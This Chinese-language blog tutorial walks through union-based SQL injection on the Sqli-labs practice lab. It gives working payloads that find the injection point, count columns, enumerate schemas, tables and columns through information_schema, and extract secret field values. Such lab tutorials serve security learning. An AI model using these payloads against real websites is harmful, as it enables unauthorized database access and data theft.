SQL注入测试学习(三)联合查询
发布于 2021-09-05 23:53
上节普及了下时间盲注,这次继续普及联合查询知识点,我们还是借助Sqli-labs来学习,前提是:
Apache+PHP+MySQL搭建已搭建完成
Sqli-labs下载安装完成
前提是注入的页面存在回显位,回显位就是页面上存在使用SQL语句查询后显示在页面的表单数据,如列表数据显示ID,姓名等字段的数据。
(1)判断注入点
首先还是需要判断下当前页面是否存在注入点。不存在则无法注入成功,存在则可以进行下一步。之前的注入类型的文章中也强调过如何判断注入点,此处再简单描述下:
?id=1 and 1=1 --+:返回正确网页
?id=1 and 1=2 --+:返回正确网页
结果均返回正确的网页,显示You are in....的页面,可能说明id的变量可能带有单引号。
再次尝试下面的注入方式:
?id=1' and 1=1 --+:返回正确网页
?id=1' and 1=2 --+:未返回正确网页
说明此处可以注入,并且注入需带上单引号,与变量的单引号形成闭合。
(2)注入步骤
本次我们使用闯关中less54节来进行测试,但是本次为闯关的课程,仅有10次猜测的机会,我们需要在10次内猜测到我们想要猜测的数据,否则数据会被刷新。
Union联合查询需与Union前半部分查询的列数相同,那么第一步我们需要猜测下列数。
猜测数据表列数:order by
?id=1' order by 3 --+:测试下来,只有3返回正确网页,说明查询的数据表的列数是3。
猜测数据表:database()
前面我们猜测到数据表的列数为3,那么后面我们Union查询的字段则是3个。
但是前面注入判断的受我们仅看到显示两个字段,一个是username,一个是password,则说明另一个字段的值是不显示的,我们union查询的字段中可猜测并且显示的字段仅有两个,所以第一个字段可以使用一个常值,如1。 另外,可显示的位置只有username和password,那么我们必须使原有的值不能显示,取而代之的是我们猜测想显示的值,则需要使前半部分id的查询的值为空。
?id=-1'
union
select 1,database(),group_concat(schema_name) from information_schema.schemata --+:
关联函数group_concat():
将查询的结果串联成一个字符串一次性显示。如查询information.schema数据库中SCHEMATA表的SHCHMA_NAME字段所有结果。
运用group_concat()函数查询结果为:将以上查询结果以逗号串联成一个字符串一次性显示
猜测表名:TABLE_NAME
?id=-1'
union
select 1,(select TABLE_NAMEfrom information_schema.`TABLES`where TABLE_SCHEMA = "challenges"limit 1),3 --+:
猜测字段:COLUMN_NAME
?id=-1'
union
select 1,(select group_concat(COLUMN_NAME)from information_schema.`COLUMNS`where TABLE_SCHEMA = "challenges"and TABLE_NAME = 'f7h9ujdqn1'),3 --+
猜测字段值:GROUP_CONCAT(字段名)
以上猜测字段已猜测出字段均有:id,sessid,secret_HC8P,tryy,接下来我们分别猜测出sessid,secret_HC8P,tryy字段的值。
猜测sessid字段值:
?id=-1'
union
select 1,(select GROUP_CONCAT(sessid)from challenges.f7h9ujdqn1),3 --+
猜测secret_HC8P字段值:
?id=-1'
union
select 1,(select GROUP_CONCAT(secret_HC8P)from challenges.f7h9ujdqn1),3 --+:
猜测tryy字段值:
?id=-1'
union
select 1,(select GROUP_CONCAT(tryy)from challenges.f7h9ujdqn1),3 --+:
最后,把查到的Secrect值填进去验证下:
验证成功!
本文来自网络或网友投稿,如有侵犯您的权益,请发邮件至:aisoutu@outlook.com 我们将第一时间删除。
相关素材